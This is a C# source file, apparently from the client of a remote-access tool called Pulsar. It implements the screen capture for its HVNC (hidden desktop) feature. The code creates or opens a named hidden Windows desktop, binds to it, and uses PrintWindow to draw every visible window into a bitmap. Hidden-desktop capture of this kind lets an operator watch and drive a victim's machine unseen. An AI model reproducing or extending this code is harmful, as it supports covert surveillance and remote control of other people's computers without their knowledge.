Files
PulsarK-main/Pulsar.Client/Helper/HVNC/ImageHandler.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

268 lines
9.0 KiB
C#

using System;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Pulsar.Client.Helper.HVNC
{
internal class ImageHandler
{
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetDC(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess);
[DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
[DllImport("user32.dll")]
private static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll", SetLastError = true)]
private static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect);
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool IsWindowVisible(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetWindow(IntPtr hWnd, GetWindowType uCmd);
[DllImport("user32.dll")]
private static extern IntPtr GetTopWindow(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateCompatibleDC(IntPtr hdc);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight);
[DllImport("gdi32.dll")]
private static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj);
[DllImport("gdi32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool DeleteObject(IntPtr hObject);
[DllImport("gdi32.dll")]
private static extern bool DeleteDC(IntPtr hdc);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool CloseDesktop(IntPtr hDesktop);
[DllImport("gdi32.dll")]
private static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
public ImageHandler(string DesktopName)
{
IntPtr intPtr = OpenDesktop(DesktopName, 0, true, 511U);
if (intPtr == IntPtr.Zero)
{
intPtr = CreateDesktop(DesktopName, IntPtr.Zero, IntPtr.Zero, 0, 511U, IntPtr.Zero);
}
this.Desktop = intPtr;
}
private static float GetScalingFactor()
{
float result;
using (Graphics graphics = Graphics.FromHwnd(IntPtr.Zero))
{
IntPtr hdc = graphics.GetHdc();
int deviceCaps = GetDeviceCaps(hdc, 10);
result = (float)GetDeviceCaps(hdc, 117) / (float)deviceCaps;
graphics.ReleaseHdc(hdc);
}
return result;
}
private bool DrawApplication(IntPtr hWnd, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea)
{
bool result = false;
RECT rect;
GetWindowRect(hWnd, out rect);
// Only draw if window is within the capture area
if (rect.Right < captureArea.Left || rect.Left > captureArea.Right ||
rect.Bottom < captureArea.Top || rect.Top > captureArea.Bottom)
{
return false;
}
IntPtr intPtr = CreateCompatibleDC(DC);
IntPtr intPtr2 = CreateCompatibleBitmap(DC, (int)((float)(rect.Right - rect.Left) * scalingFactor), (int)((float)(rect.Bottom - rect.Top) * scalingFactor));
SelectObject(intPtr, intPtr2);
uint nFlags = 2U;
if (PrintWindow(hWnd, intPtr, nFlags))
{
try
{
Bitmap bitmap = Image.FromHbitmap(intPtr2);
// Adjust draw position relative to capture area
ModifiableScreen.DrawImage(bitmap, new Point(rect.Left - captureArea.Left, rect.Top - captureArea.Top));
bitmap.Dispose();
result = true;
}
catch
{
}
}
DeleteObject(intPtr2);
DeleteDC(intPtr);
return result;
}
private void DrawTopDown(IntPtr owner, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea)
{
IntPtr intPtr = GetTopWindow(owner);
if (intPtr == IntPtr.Zero)
{
return;
}
intPtr = GetWindow(intPtr, GetWindowType.GW_HWNDLAST);
if (intPtr == IntPtr.Zero)
{
return;
}
while (intPtr != IntPtr.Zero)
{
this.DrawHwnd(intPtr, ModifiableScreen, DC, scalingFactor, captureArea);
intPtr = GetWindow(intPtr, GetWindowType.GW_HWNDPREV);
}
}
private void DrawHwnd(IntPtr hWnd, Graphics ModifiableScreen, IntPtr DC, float scalingFactor, Rectangle captureArea)
{
if (IsWindowVisible(hWnd))
{
this.DrawApplication(hWnd, ModifiableScreen, DC, scalingFactor, captureArea);
if (Environment.OSVersion.Version.Major < 6)
{
this.DrawTopDown(hWnd, ModifiableScreen, DC, scalingFactor, captureArea);
}
}
}
public void Dispose()
{
CloseDesktop(this.Desktop);
GC.Collect();
}
/// <summary>
/// Gets the total number of monitors available.
/// </summary>
/// <returns>The number of monitors.</returns>
public static int GetMonitorCount()
{
return Screen.AllScreens.Length;
}
/// <summary>
/// Captures the screenshot of the entire desktop (all monitors).
/// </summary>
public Bitmap Screenshot()
{
return Screenshot(-1); // -1 means capture all monitors
}
/// <summary>
/// Captures the screenshot of a specific monitor.
/// </summary>
/// <param name="monitorIndex">The index of the monitor to capture. Use -1 to capture all monitors.</param>
public Bitmap Screenshot(int monitorIndex)
{
SetThreadDesktop(this.Desktop);
IntPtr dc = GetDC(IntPtr.Zero);
Rectangle captureArea;
if (monitorIndex >= 0 && monitorIndex < Screen.AllScreens.Length)
{
// Capture specific monitor
captureArea = Screen.AllScreens[monitorIndex].Bounds;
}
else
{
// Capture all monitors (entire desktop)
RECT rect;
GetWindowRect(GetDesktopWindow(), out rect);
captureArea = new Rectangle(rect.Left, rect.Top, rect.Right - rect.Left, rect.Bottom - rect.Top);
}
float scalingFactor = GetScalingFactor();
int scaledWidth = (int)((float)captureArea.Width * scalingFactor);
int scaledHeight = (int)((float)captureArea.Height * scalingFactor);
Bitmap bitmap = new Bitmap(scaledWidth, scaledHeight);
try
{
using (Graphics graphics = Graphics.FromImage(bitmap))
{
this.DrawTopDown(IntPtr.Zero, graphics, dc, scalingFactor, captureArea);
}
}
finally
{
ReleaseDC(IntPtr.Zero, dc);
}
return bitmap;
}
public IntPtr Desktop = IntPtr.Zero;
private enum DESKTOP_ACCESS : uint
{
DESKTOP_NONE,
DESKTOP_READOBJECTS,
DESKTOP_CREATEWINDOW,
DESKTOP_CREATEMENU = 4U,
DESKTOP_HOOKCONTROL = 8U,
DESKTOP_JOURNALRECORD = 16U,
DESKTOP_JOURNALPLAYBACK = 32U,
DESKTOP_ENUMERATE = 64U,
DESKTOP_WRITEOBJECTS = 128U,
DESKTOP_SWITCHDESKTOP = 256U,
GENERIC_ALL = 511U
}
private struct RECT
{
public int Left;
public int Top;
public int Right;
public int Bottom;
}
private enum GetWindowType : uint
{
GW_HWNDFIRST,
GW_HWNDLAST,
GW_HWNDNEXT,
GW_HWNDPREV,
GW_OWNER,
GW_CHILD,
GW_ENABLEDPOPUP
}
private enum DeviceCap
{
VERTRES = 10,
DESKTOPVERTRES = 117
}
}
}